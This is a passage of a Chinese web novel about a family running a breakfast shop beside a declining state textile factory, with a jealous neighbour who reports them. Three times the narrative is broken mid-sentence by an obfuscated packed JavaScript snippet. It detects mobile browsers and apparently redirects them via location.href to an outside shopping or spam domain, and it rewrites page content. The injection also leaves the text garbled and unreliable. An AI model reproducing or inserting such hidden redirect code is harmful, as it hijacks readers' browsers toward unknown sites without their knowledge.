齐大哥走进早餐店,看见大家都在刨米饭、喝酸汤,转头看了半天,才看见贴在墙壁上的新菜单。他边走到水池旁的桌子边坐下,边跟姜华英说道:“华英,要一份酸汤米饭!” “齐哥,没有米饭了,吃面条可以吗?” “哎?蒸锅里面不是还有不少吗?” 姜华英盖上蒸锅的盖子,笑着不好意思地说道:“这是单身楼小伙子们订餐的饭,今天也不知道怎么了,平时吃饭最积极的几个人,到现在还没来……” “他们回宿舍拿盒饭去了,”一位客人咽下最后一口米饭,从胸前的口袋里抽出一块钱递给姜华英,说道,“说是今天单身楼要打平伙……” “我说怎么订了快餐,还订了好几个卤蛋呢!”姜华英说完,打开抽屉要给客人找零,被他阻止了。 “姜师傅,我再要一碗酸汤,你给我留着点啊,我回家去拿碗!” “欸!你这人!插话就插话,怎么还趁机订菜!”齐大哥不满地指责完客人,又赶紧跟姜华英说道,“华英,我也要酸汤啊!昨天我就没吃到!” “好嘞!那还是榨菜肉末拌面?” 几人说说笑笑的时候,林勤一头大汗地走进了店里。 姜华英瞪了他一眼,嫌弃地说道:“今天怎么又这么晚!赶紧去把脸洗了,来帮忙煮面!” “师父被叫去开会了,下班也没见着散会,我半跑着回来的……”林勤在水龙头下面冲了个头,用挂在旁边的帕子使劲抹了下头和脸,走到煤炉子旁拿起煮粉锅里的漏勺和筷子,搅和了一下里面的煮着的面条。 林乐晓站在调料桌旁边,欲言又止地看了看被林勤擦湿了的帕子,又看了看捞面条的林勤,认命地走到水池边,打开水龙头开始搓洗帕子。 姜华英好笑地转过身,接过林勤手里的面碗,边打调料边调侃丈夫道:“你擦完头也不把帕子洗洗,被你女儿嫌弃埋汰了吧?” 林乐晓把湿漉漉的帕子挂在水池边上,朝着林勤哼了一声:“这是擦手的帕子!” 林勤朝着女儿比了个对不起的动作,拿起一个碗,想盛碗酸汤喝。 姜华英打了一下他的手,说道:“少舀一点!” “姜师傅,我来拿订的卤肉和卤蛋。” 一个递过来的饭盒打断了夫妻俩的对话。姜华英撩了撩耳边的碎发,接过饭盒,问道:“徐师傅,卤肉和卤蛋要切吗?” “卤肉切一下吧,卤蛋不用了,谢谢!” 姜华英点点头,拿出秤先称了一下空饭盒,又把卤肉放进饭盒里,提起秤给徐师傅看,说道:“半斤多一点!切薄一点吗?” “都可以,方便泡热就行!” “徐师傅,你这卤肉和卤蛋不是买来请客的啊?”一个要进店的客人,听到徐师傅的话,好奇地问道。 徐师傅往边上站了点,让客人往店里走,回答道:“我们请啥客啊!” “都说你女儿高考考得好,要去花城上大学了!这还不该请客啊?” “嗨,女儿不让请!说是花这些钱,不如多买两张火车票,让我们送她去花城!这些卤肉和卤蛋就是买到火车上吃的!”徐师傅笑眯了眼睛,高兴地说道。 “哎哟,你这姑娘不错!你们夫妻俩也要去大城市看看了!” “可是呢!我们两口子连省城都没去过!” “多会儿走啊?” “马上走,就等着我来拿卤肉和卤蛋了,”徐师傅接过姜华英手里的饭盒,不好意思地说道,“下午三点的火车,不过我们没买到卧铺票,都让我们早点去火车站……” 林勤放下空碗,接过话头说道:“是得早点去排队!我师父送小儿子去上大学的时候,火车快开了才挤上去,位置还被别人坐了,差点就打起来了!” “哎!那我走了,你们忙着!” 送走徐师傅,夫妻俩都热切地盯着林乐晓看。 林乐晓被爸妈看得有些发毛,无奈地说道:“妈妈,我还是个小学生呢……”而且等到她能上大学的时候,已经开始扩招了,大学生也慢慢地不这么值钱了。 “妈妈也想去大城市开开眼界!”姜华英目光灼灼地看着女儿,好像没听到女儿刚刚的辩白。 林勤紧跟着老婆的步伐,也看着林乐晓说道:“爸爸也想去……” 林乐晓歪了歪头,忽然瞟见干馒头小伙子在店门一角晃了一下,她舒了一口气,指着门口对姜华英说道:“妈妈,哥哥来打快餐了!” 吃完晚饭,林乐晓跟着爸妈出门散步。他们沿着纺织厂家属区外的大马路,朝着机械厂家属区的方向踱步。 “中午在早餐店我就想问了,等忙完又忘记了,”姜华英摇着手里的蒲扇,低声地问走在旁边的林勤道,“你知道你师父他们上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544624|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午开会讲的什么事吗?开了那么老长的时间……” “从下周开始,周六只上半天班,下午休息半天,”林勤拿过姜华英手里的扇子,边用扇子帮林乐晓驱赶蚊子,边回答道,“明天就会通知全厂职工了。” “会上吵架了?” “肯定啊!除了厂领导和厂办,参加会议的人就没有同意的!”林勤把扇子换到另一边,开始给老婆扇风,同时低声回答道,“吵到最后,领导们说,开会不是为了征集意见,只是提前通知大家,让职工们心里有个准备……” “不是说很多人都只上半天班了吗?”林乐晓听着爸妈的对话,有些不解地问道,“多休息这半天,对这些人来说,也没什么影响吧?” “不只是工资的问题,大家是对厂领导又愤怒又寒心!” 姜华英抿着嘴巴点点头,顺着林勤的话头继续说道:“我们这样才来的职工,都觉得生气,何况你师公他们那些和厂子一起成长起来的人呢?厂子效益不好,连市里领导都在想办法,厂子自己的领导却是这种巴不得它倒闭的做法……” 林乐晓扯了一支金银花,在清新的花香中安慰爸妈道:“也许市领导已经有了办法呢!”在她的另一段记忆里,市领导的确找到了办法,纺织厂的产品销量一度飙升,连姜华英都去销售科上了一段时间的班。可惜这个回光返照时间不长,纺织厂最后还是破产清算了。 不过目前林乐晓有更关心的问题。她把金银花枝递给姜华英,问林勤道:“爸爸,我们学校也多放半天假吗?”她记得好像是有那么一段每周休息一天半的日子。 “应该也放吧?等你们开学就知道了……” 一家三口一路走一路聊,来到了机械厂家属区。已经过了晚饭的时间,机械厂家属区周围还支着不少小摊子,卖卤味的、卖凉拌菜的、卖大馒头的,看着生意都还不错。 “还是机械厂效益好!”姜华英饶有兴趣地走到卤味摊旁边观摩,边看边小声地跟林勤说道,“我要是先看到这个摊子,都不敢起心卖卤味,都这会儿了还有这么多肉,要是卖不完,那都是亏的钱啊……” 林乐晓看着来来去去的人,突然拍了一下自己的脑袋,暗骂自己是个笨蛋,把小升初的事情忘了个干净。纺织厂学校在她读初中前,取消了初一年级的招生,又忘记跟市教育局报备,地方初中不承认她们学校自主毕业考试的成绩,最后还是机械厂出面接收了她们。 她可以在机械厂家属区给妈妈找个门面! 林乐晓有点兴奋地东张西望,企图看看哪里有闲置的门面,突然听到好大一声“唉!”,接着是此起彼伏的吐槽声音:“怎么又停电了!” “妈妈!停电了!肯定也停水了!我还没洗澡呢!” “你爸爸已经往水箱里面加水了,一会儿把水放到盆子里,我帮你冲水。” “可是灶里还烧着火呢,会把水烧得烫烫的!” “水放到盆子里,一会儿就凉了……” 12. 给点优惠 一家三口回到家,趁着窗外还有些许光亮,从抽屉里翻出了几支蜡烛。 顶着烛光洗完澡,三个人坐在客厅的地铺上,边打扑克边聊天。 “没想到酸汤还卖得挺好,”姜华英丢出一张A,管上林乐晓的老K,跟林勤说道,“下周吃饭的人要是都和这几天差不多,家里的红酸就剩不了啥了。正好下周六下午开始放假,你跑一趟我家,跟老妈买点红酸,其他的什么酸辣椒啊豆豉啊,要是家里有多的,也买点来。” 林勤摇摇头,示意自己要不起,问姜华英道:“家里能有多的吗?妈不是在市场外面卖这些吗?” “有肯定是有,就是不知道能有多少,”姜华英甩出一对六,继续说道,“你跟妈好好说说,实在不行,留给家里吃的那些,也可以卖点给我们嘛,我们出钱。” “我们能出多少钱呐?” 姜华英扔出手里的最后两张牌,高兴地喊道:“我赢了!”接着,她边洗牌边说道,“那肯定要比市价低一点嘛……还有,晓晓下下周要开学了,我们得在早餐店里蒸米饭了,你有空再砌个煤炉子的围挡?” 林乐晓就着姜华英的手切了两下扑克牌,边看她妈发牌,边想道:“原来我妈的商业头脑还不错嘛!就是太害怕亏钱了,所以很难踏出第一步……还好我想出了预订这种好点子!” 林勤拿起扑克牌,边整理边问女儿道:“就要开学了?晓晓,你暑假作业写完了吧?” “嗯……”林乐晓盯着手里的牌,含混着回答了一声,背心却冒出了细细密密的冷汗。 她还真把作业搞忘了…… 第二天是周六。一大早,纺织厂办公室就在宣传栏张贴了通知,全厂职工顿时议论纷纷。 到了中午下班,大家讨论的热情只增不减。有些话在厂里不好说,出了厂门,便三个一伙、五个一群地聚在一起说小话。 早餐店里吃粉吃饭的人们也不例外。 一个客人端着酸汤,听了同桌客人的话,下意识反驳道:“不是说新闻里都播过了?是有这么个文件!” “要这么说,那咱们纺织厂可真是一直走在全省国营厂的前列!”齐大哥嗤笑一声,接话道,“先前是全省第一批卖房给职工的厂,现在又是第一批多放半天假的厂!” 朱工摇摇头,接过姜华英递来的饭盒,说道:“之前市里领导来调研,找我们谈话,我还以为……唉……华英,我想订半斤卤瘦肉、一斤卤藕片,明天十点左右能做好吗?” “没问题!”姜华英想着周天订快餐的人不多,一口答应了朱工。她拿出订餐的信纸,翻到卤味那页,开始写订购信息。 “徐师傅昨天中午就走了,要是听到这个消息再走,还能挤点时间,在花城打听打听招工信息……”听到卤肉,干馒头小伙子想到了昨天来拿卤肉的徐师傅,不禁发散地说道。 “你又不知道,也许人家就是要去打听这个呢?”听说新闻的客人喝完酸汤,说的话里也充斥着一股酸酸的味道,“要不然他们两口子,千山万水地送一个小丫头片子去读书干嘛?” “嘿,你这人!花城火车站那么乱,报纸上都写过,你不知道吗!”买馒头的青年使劲把碗放在桌上,一声清脆的“砰”,吓得林乐晓轻轻地抖了一下身子。 “嗨,电视新闻都是听说的人,能看什么报纸啊……”齐大哥没忍住,轻声嘟囔了一句。 听新闻的客人没听清,想反驳却找不到话头,只好狠狠地哼了一声。 姜华英吐出一口气,悬着的心终于放了下来。林勤趁着午休时间,去后面砖厂订砖去了,要是两人闹起来,她和女儿两个人还真的拉不了架。 午市结束后,姜华英去小菜场订购明天要用的肉和菜,林乐晓自己回到家,拿出暑假作业继续查缺补漏。 上午蒸米饭之前,林乐晓把数学书翻了一遍,感慨还好是回到小学,她完全能跟上,甚至还觉得题目很简单。 暑假作业剩得不多,林乐晓打算明天上午把数学作业写完,就是语文还有两篇周记不知道写些什么。 姜华英推开门走到客厅里,看见林乐晓坐在小餐桌旁,盯着手里的课本发呆,问道:“暑假作业还没写完啊?前几天你一直拿着小说看,我还以为你写完了呢。” 林乐晓正在出神,没听到姜华英进门,被屋里突然冒出来的声音吓了一跳。她转头看到姜华英坐到了地铺上,才回过神回答道:“只剩一点点了,这两天就写完了。” “周记就写两篇读后感好了!”林乐晓放下手里的课本,默默地想道。 因为预订周天快餐的人不多,这天姜华英只煮了一锅酸汤。谁知道从九点过开始,就有人来买酸汤,一锅酸汤断断续续地快被卖完了,姜华英只好派林勤去小菜场再买些蔬菜。 “昨天厂里贴了放假的通知,还以为大家都会没啥心情来买吃的呢……”林勤站在水池边上,边洗菜边和姜华英闲聊。 姜华英用筷子戳了戳锅里的卤肉,觉得还差点火候,又把锅盖放了上去。听到林勤的话,她撇着嘴回答道:“也许就是因为贴了通知,来买酸汤的人才多呢?三毛钱一碗,也够吃一顿了。” 林勤端着菜盆走到煤炉子旁边,把菜递到姜华英身边,看着她就着盆往煮了红酸的汤里放菜,辩解道:“那不也有买卤菜的吗?” 姜华英放完菜,正想跟林勤争辩两句,来了个订了卤蛋的客人。她咽下嘴里的话,接过客人手里的订购单子和饭盒,问道:“卤蛋要切吗?” “切!一个卤蛋能切成几块啊?” “切四块或者六块都行,”姜华英拿着小汤勺,边从卤肉锅里捞鸡蛋,边回答道,“要是摆盘的话,六块也好看的。” 客人不好意思地笑了笑,说道:“那就切六块吧。” “好嘞,麻烦您等会儿!”姜华英把卤蛋放到菜板上,拿着扇子对着它们扇了一会儿,觉得差不多凉点了,才去洗过手,准备切鸡蛋。 “哟,华英啊,生意好着呢?” 姜华英切好一个卤蛋,听到招呼声,抬头看见了住在她们家楼下的吕青芸,回答道:“吕大姐好,要买点什么吗?” “你这酸汤多少钱一碗啊?”吕青芸盯着姜华英手里的卤蛋,咽了咽口水,指着正在咕嘟的酸汤问道。 林勤拿着大汤勺搅了搅酸汤,听见她问价,下意识地回答道:“酸汤三毛钱一碗。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544625|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “一碗素菜!卖得这么贵!”听到回答,吕青芸夸张地叫嚷道。 姜华英边切卤蛋边暗暗翻了个白眼,没有接话。 “华英,那你切的鸡蛋,又是怎么卖啊?”吕青芸自己也不觉得尴尬,继续问道。 “卤蛋三毛五分钱一个!”林勤回答完,拿起放在门边桌子上的锅盖,把酸汤锅盖了个严实,就怕站在旁边的客人觉得汤里被喷了口水。 “哎唷,一个鸡蛋,卖得比一碗酸汤还贵!你们这样,怎么好做生意的呀!”吕青芸转了转眼珠,提议道,“华英,我们当了这么久的邻居,我来照顾你生意,要给我优惠点的哦?” “吕大姐,我们的饭菜都是明码标价,”姜华英把切好的卤蛋放进饭盒,盖好盖子后递给客人,才指着墙上的价格表说道,“小本生意,也就挣点辛苦钱,还没有给优惠价的实力……” “那肯定比我们上班挣死工资的强多了呀!”吕青芸走到门边的桌子旁站住,朝着早餐店里指指点点地说道,“这么大的门面都租得下来,还置办了这么多家当,肯定是很有实力的,给点优惠而已,你们还是赚的嘛!” “吕大姐,你这么喜欢这个门面,不如我们换换?我去厂里上你的班,你来早餐店做生意挣大钱,好吧!” “我要是有你这个手艺,我早就开店去了,还上什么班啊!”瞧着姜华英有点生气了,吕青芸反而指着卤肉锅,笑眯眯地说道,“这样,你给我装一碗酸汤、三个卤蛋,就算一块钱怎么样?你肯定还是赚的嘛!” “这位大姐,卤菜都是要预订的,那卤菜锅里的肉和菜都是别人给过钱了的……”买卤蛋的客人本来都走到了早餐店前面的小花坛边上,听到吕青芸的话,又调过头走回来,说道,“别人的菜,就算正价都不能卖给你,更别说什么优惠价了……” 吕青芸瞪了客人一眼,还想说些什么,猝不及防地被人推了一下。 “谁推我!”吕青芸大叫一声,紧握着拳头转过身,看到门边上站了好几个人,不是端着小锑锅,就是拿着饭盒。 “你到底买不买?”朱工晃了晃手里的饭盒,不耐烦地说道,“不买就让开,我们拿了卤肉,还急着去赶公交车!” “一碗破酸汤,谁家里还不会煮了?”被好几个人看着,吕青芸不敢动手,只好撇下嘴角,说道,“怎么会有这么多人喜欢当冤大头!” “你!”林勤气得捏起拳头,却被姜华英拉住了胳膊,又朝他摇了摇头,只好一拳头砸在了桌子上面。 姜华英没理吕青芸,招呼朱工等人进到店里来坐着,又指挥林勤给客人舀酸汤,她自己则端起煤炉子上的卤肉锅子,准备给朱工切卤肉和藕片。 “朱工,要切薄一点……” 姜华英话没有说完,就听见一连串“劈里啪啦”的鞭炮声,盖过了她说话的声音。 “嗨呀,和你们掰扯半天,都忘记前面胡家商店开业的事了!”吕青芸拍了拍大腿,抬起腿往商店走,还不忘回头大声地喊道,“人家胡欢欢可大方了!今天开业,买两块钱的东西,就送两个鸡蛋!这才是做好好生意的样子!不像有些人,小气吧啦的,财运都给败光了,能赚个什么钱!” 13. 再租炉子 林乐晓写完数学作业,看着差不多要到午饭时间了,便溜达着往早餐店走,路过开业的胡家商店,没忍住站在人群边上凑凑热闹。 “开业酬宾,凡消费两元及以上,赠送鸡蛋两枚……”林乐晓看着商店门口贴着的红纸,惊讶地张大了嘴,不由地自言自语道,“现在就有满赠了?还是在我家这么个小城市郊区的镇上?” 她顶着有一点蒙的脑袋,走进了自家的早餐店,听见几个客人边刨米饭边讨论胡家商店的开业赠礼。 “之前胡欢欢到处跟人说她家商店里有冰棍卖,我还以为开店以后是买冰棍会有优惠呢……” “立秋以后还能热多久?还好她家人不像她一样,没啥脑子!” “你说啥呢!谁都没有,苏厂长还能没有?” “脑子可能还有点,良心肯定是……” 听着客人的话开始走偏,姜华英不得不打断大家,问道:“你们不去看看吗?” “两块钱呢,我想买点酱油,两袋也才七毛钱,还差一块三呢……” “可以两个人凑着买嘛,”林乐晓抬起湿漉漉的手,扯下洗手池边上的帕子,一边擦手一边出主意道,“这样鸡蛋也好分,一人一个!” “是哎!我们几个大人在这坐半天,还没有晓晓脑子灵活!” “别说废话了!你想买酱油是吧?你买三袋可以吗?我要买一块肥皂……” “我买三袋酱油干嘛啊?这样,你把钱给我,我进去逛逛,出来后给你一块肥皂和一个鸡蛋!” 话题被成功岔开,林乐晓和姜华英相视一笑,乐颠颠地给自己舀了一碗酸汤。 经过一周的营业,姜华英感觉自己找到了早餐店的经营方向,虽然辛苦,但挣到的钱至少能和工资持平。 周一中午,林勤借了马大山的自行车,去砖厂拉了五十块砖。下午下班后,他按照姜华英的指挥,在早餐店门边靠近小花坛的地方,再砌一个煤炉子围挡。 “租煤炉子的事,你跟吴师兄说好了吧?” “说好了!不过师兄说了,师父没要我们的租金,他也不要……” 姜华英端着水盆,小心翼翼地往地上堆着的水泥砂浆里倒水。等林勤把水泥和好,她才开口说道:“那不行!之前拿你师父的煤炉子,这个小店还没开张,我心里没底,特别害怕亏钱,想着师父工资高,师娘的退休工资也不低,占点便宜也没啥……现在知道早餐店能赚钱,还可着这点便宜占,也不太像话了!而且嫂子在一车间吧?是只上半天班了吧?” “我也是这么跟师兄说的,可他就是不肯收啊!” “你就说,我也找别人了,如果他不收钱,我们就租别人的!” 煤炉子围挡不费事,不过半个小时就砌好了。林勤把剩下的一点水泥敷在围挡上,姜华英蹲在旁边,把没用完的砖块捡到竹筐里,说道:“又剩了几块砖,这次买个三十块就够了的,上周还剩了十来块呢!” “要不是效益不好,别说五十块,五百块都不一定卖给我们呢!” “砖厂还能效益不好?” “谁知道呢?反正都这么说!” 第二天上午,姜华英把蔬菜倒进酸汤里之后,不自觉地叹了一口气。昨天晚上,她抽空盘了盘家里剩余的红酸。照这两天快餐预订和酸汤米饭的销量,她得早点确定老妈那里到底还有多少红酸。如果没有太多,她还要请孔大嫂帮忙打听谁家有卖、味道怎样,不然下周就没有酸汤卖了。 姜华英打算午市结束后,走到镇邮电局去打个电话试试,万一办公室的人能喊老爸或者老弟来接电话呢。做好了决定,姜华英打叠好心情,开始给卤肉炒糖色。 说来也稀奇,本来以为平时不会有多少卤味的订单,谁知道贴了卤味预订菜单以来,每天多多少少都有人预订。姜华英想着打完电话,可以去邮电局旁边的百货商店称两斤白糖饼干,除了奖励林乐晓出了预订的好点子,也要给马师傅和师兄弟们送一些。 姜华英在大脑里勾勾画画,把关店以后的时间安排了个遍,没想到她才抬起一块门板,还没往门槛里放呢,厂办叶主任带着李令站到了早餐店门口。 “华英啊,厂办接到了举报,告你砌的炉子围挡侵占了家属区的公共道路,”叶主任一脸遗憾地告诉姜华英,虽然他的语气听起来一点也不可惜,“这些围挡,你都得拆掉!” 听了叶主任的话,姜华英只想把手里的门板挥到他的身上。 “叶主任,这些围挡都没砌在路上吧,”姜华英放下门板,深吸一口气,和他讲道理道,“这里就是楼梯了,当初签合同的时候可是说了的,楼梯上面的卫生都归我自己打扫。” “打扫卫生是打扫卫生,区域归属是区域归属!”叶主任摇摇头,指着一溜干净的地面说道,“你自己看看,就你这里占了门口的位置,挡住了门口的道路,你还有理了?” “叶主任指的这一溜,只有早餐店的门面开门!”林乐晓咬紧了牙关,心里的吐槽差点就脱口而出了。 看到女儿不忿的表情,姜华英反而冷静了下来,说道:“隔壁门面没出租,胡家商店的门没开在这面,除了来早餐店吃饭的人,几乎不会有人不走大马路,反而走楼梯上这么窄的过道吧?” “不管有没有人走,你修在这里就是挡住了路,”叶主任用脚踢了踢围挡,笑着问道,“而且前面这个新砌的围挡,已经超过门面的范围了吧?” “那我把这个新砌的拆了,可以吗?”姜华英松开咬着嘴唇的门牙,也挤出笑容,问叶主任道,“您也看见了,这间门面太小了,窗户也只有这么小一个,如果把这两个炉子移到店里,放不了桌子不说,万一引起煤气中毒呢?隔壁肥皂厂的单身宿舍,去年就因为在屋里用这种没烟囱的煤炉子取暖,导致好几个人中毒呢……” 叶主任似笑非笑地盯着姜华英看了好一会儿,才开口说道,“呵,你倒挺会找理由……行吧,你今天之内把前面这个新的围挡拆了,就算你整改了。” 他朝李令点点头,示意她在本子上写好处理结果,又跟姜华英说道:“你也别不服气!有人举报,我们就得来看看,这个结果,也没影响你挣钱吧?” “叶主任,我哪有不服气,”姜华英接过李令递过来的本子,在上面签了名字,说道,“等下午下了班,我马上就叫我家那口子拆了前面那个新围挡!” “哼!”叶主任拿过李令手里的本子看了看,瞪了姜华英一眼,调过头就走。 姜华英想了想,跟上李令,悄悄地问道:“李姐,举报我的人,住在我们那栋家属楼吗?” 李令轻轻地点了下头,小跑了几步跟上叶主任走了。 看着两人走远了,姜华英才转过身来,无奈地叹了一口气,跟女儿说道:“我还是要去一趟邮电局,你刚才还没回答妈妈呢,想吃白糖饼干还是橘子糖?” “妈妈……”林乐晓有些担心地看着姜华英,问道,“是吕阿姨举报的吗?”她上辈子就知道吕青芸眼红早餐店,却没料到她这次居然去厂里举报了,还举报得这么早。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544626|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你这孩子,怎么什么都要操心?”姜华英抬起刚才放下的门板,边关门边说道,“妈妈解决得了,你把心放在肚子里,好好吃饭好好学习好好玩耍就行!” “嗯,”林乐晓不好意思地点点头,回答道,“那我要吃白糖饼干!” 到了邮电局,姜华英觉得虽然被人举报了,但是今天的运气还不错,她打通电话的时候,姜平来正好从生产线上下来休息,被广播叫到了厂办接电话。 “喂,老爸啊?你知道老妈做的红酸还剩多少吗?”为了节约话费,姜华英说话直奔主题,都没顾上说个来龙去脉。 “还有多的!你要啊?要多少?”姜平来听到女儿的问题,觉得很稀奇,“你打电话来,就为问这个?” “爸,我下岗了,租了家属区的一个门面卖早餐和午餐,”姜华英紧握着话筒,解释道,“酸汤菜卖得好,我去年做的红酸差不多卖完了,本来这个月要做一些的……老妈今年做了多少啊?” “下岗了?”姜平来听到姑娘的话,不由得扯着嗓子问了一句。 “爸,家里还有多少红酸嘛?” “唉,你妹子和弟媳的厂子今年效益也不好,快发不起工资了,你妈做了不少红酸,想背去市场外面卖,也能补贴她们点……” “卖给我!”姜华英听到老爸说要卖红酸挣钱,立刻表态道,“早餐店生意还可以,我不白要,我出钱买!” 父女俩很快约定好,周天让姜华英的弟弟送二十斤红酸来。 姜华英放下话筒,怅然若失地想道,怎么哪个厂子效益都不好呢。她付了电话费,转身进了旁边的商店,称了两斤白糖饼干,请售货员帮忙包成了五包,走到纺织厂门口,边和门卫室的人聊天,边等林勤下班。 林勤跟着稀稀拉拉的人群往厂门口走,一眼就看见了站在门卫室边上的姜华英,他快跑了几步,来到老婆身边,美滋滋地问道:“你打完电话了?怎么不回家休息,还跑来接我干嘛?” “师父他们呢?”姜华英没回答林勤的问题,反而问道。 “去推自行车了,”林勤接过姜华英手里的布袋子,回答道,“是买的白糖饼干吗?怎么这么多包?” “不是跟你说了嘛,想拿点给师父和师兄弟们,等等他们吧,”姜华英拉住想往家走的林勤,说道,“对了,你知道他们谁家里有闲置的铁炉子吗?” 林勤停住脚步,转身站在姜华英身边,回答道:“吴师兄家里好像就有。他刚才还说呢,要是租个铁炉子,他就收咱们租金了,他家的煤炉子太旧了点,他不好意思收什么钱……” “那这个租金,你吴师兄收定了!” 送完饼干,两口子回家拿了锄头,来到早餐店门口,准备把还没干透的新围挡掀了。 林勤抡起锄头,往围挡上使劲推了一把,生气地说道:“吕青芸这个神经病!不就是没给她优惠嘛,至于去举报这么个破围挡吗!” “别说了,赶紧推倒了事!”姜华英瞪了林勤一眼,说道,“收拾好了就去吴师兄家抬炉子,别耽误人家吃晚饭!” 林勤又推了围挡一下,回头看了姜华英一眼,问道:“你不生气吗?” “气过了,气也没用,还得感谢叶主任,没让我们把所有围挡都推了!” 林勤抿了抿嘴,没再说话,只一个劲地鼓捣围挡中间的锄头,弄坏了好几块红砖头,才终于推倒了整个围挡。他擦擦额头上的汗,蹲在地上边捡砖头,边低声说道:“这破烂砖头!这破烂邻居!这破烂厂子!” 14. 外婆来了 等到两人把铁炉子抬到早餐店门口,姜华英反而泄了气。她靠在早餐店的门板上,给林勤打着电筒,看他打开门锁,挪开第一块门板,懒懒地说道:“先把炉子放到水池旁边吧,明天再来装烟囱。” “啊?”林勤放下门板,拉了下墙上的灯绳,店里亮起了昏黄的灯光,影影绰绰地连桌子都不太看得清。他伸手摸了摸灯泡,转过头跟姜华英说道:“上上周刷墙的时候,没觉得这灯泡不亮啊!” 姜华英抬头看了看随着电线来回晃动的灯泡,吐出一口气,说道:“可能是灯丝要坏了,我哪天有空去买个新的。” “今天跑来跑去的,累了吧?”林勤走到门口,半蹲着拉起铁炉子,说道,“你坐着休息会儿,我一个人也抬得动!” 他把炉子拉到水池旁边的窗户下面,拿起炉子上放着的烟囱,边比划边说道:“烟囱够长了,明天把上面的那块小玻璃拆下来就行。老婆,家里还有报纸吗?等明天架好烟囱,要用报纸来把这里糊起来。” “有。”姜华英坐在门边的桌子旁,手指撑在下颌上,有声无力地回答道。 “怎么了?除了叶主任来找茬……”林勤放下烟囱,走到姜华英对面坐下,问道,“下午没联系上家里吗?” “我爸接到电话了,”姜华英摇了摇头,回答道,“华风周天来,给我拿二十斤红酸来。” “二十斤?这么多!”林勤吃了一惊,问道,“妈今年做了多少红酸啊?” “做了不老少,唉,”姜华英叹了口气,说道,“我妹和弟媳上班的那个厂子,也要发不起工资了,妈想补贴她们点……” 两口子坐在昏暗的早餐店里,低声谈着心:“这个店才开这几天?还没赚几个钱呢,就有人去举报……要不是签了租房合约,我都怕厂子里随便找个借口,就把门面收回去了……” 路边树上的秋蝉,正不知疲倦地鸣叫着。在这恼人的声音里,林乐晓放下了手里的铅笔,满意地看着格子本上的字:“终于写完暑假作业了!” 周四上午刮起了风,吹散了一整个夏天的燥热,带来了凉凉的秋意。 齐大哥在秋风中裹紧了劳保服的衣襟,走进早餐店,被店里的热气扑了一脸。 “华英这个炉子安得好!昨天还说呢,在店里放个铁炉子太热,谁知道今天就降温了……”齐大哥走到水池边的桌子旁坐下,看着铁炉子上冒着热气的蒸饭锅,说道,“我要一份酸汤饭,榨菜肉末的。” “也就凉这两天,天气预报里说,周六还会升温,”姜华英揭开蒸饭锅的盖子,舀了满满一碗米饭,问道,“嫂子还没回来啊?下周要开学了吧?” “周六回来,我舅子送她们回来,”齐大哥接过林乐晓手里的酸汤,回答道,“哦,对了,我订半斤卤肉,周六中午来拿。” “没问题!”姜华英答应着,心里却在盘算,这就少了一个客人,唉,她跟家里买的二十斤酸汤,今年估计卖不完了。现在纺织厂不知道还剩下多少双职工家庭,要是这些人在开学后都来早餐店订快餐就好了。 午市结束后,林乐晓坐在门边的桌子旁,看姜华英把煤炉子里的蜂窝煤夹出来,提议问道:“妈妈,要不等再冷点,把这张桌子换成有桌板的铁炉子?又暖和又不挡路,客人也能坐在炉子旁边吃饭。” “店子太小,用碳还是太危险了,放个那样的铁炉子,也能推出火锅预订,酸汤火锅、豆豉火锅……想想就好吃!”林乐晓咽了咽口水,在心里畅想道,“应该能卖得好,要是纺织厂的效益能和记忆里一样好起来的话。” “那样的铁炉子太贵了吧?”林勤洗完碗,甩甩手上的水,不同意地说道,“我觉得没必要买,店里有这个炉子就够暖和了!” “家里那个铁炉子不就有桌板嘛!要不把家里的那个抬下来!” “那个板子算什么桌板?连个盘子都放不了,只能放点小碗。” “是吗?”林乐晓疑惑地问道,她记得家里炉子的桌板可大了,难道她记错了?那就买三个碳炉?小心点应该没问题吧…… “晓晓,你……”姜华英听到父女俩的对话,有点想问女儿是不是又帮早餐店想出了什么好点子,话到嘴边,却有些自责起来。她作为一个大人,不知道该怎么提高早餐店营业额就算了,还企图把压力转移给女儿,真是糊涂得可以。 半天没等到姜华英继续说话,林乐晓不由得问道:“妈妈,怎么了?” “你有空翻翻你那些文具,看看差些什么,等周天送完你舅舅,我们去买。” 这个周六中午,纺织厂职工们开始了一天半的周末生活。大家拖拖拉拉地走出厂子大门,多多少少有些无所适从。 单身楼的小年轻们面面相觑地站在厂子门口,你看我,我看你,没有人说话。 干馒头小伙子咳了一声,率先开口道:“还是先去姜师傅那里吃饭吧?” “走走走,”买馒头青年揽着他,接话道,“先去吃饭,边吃边商量嘛!” 下午纺织厂休息,来早餐店吃饭的人少了不少。 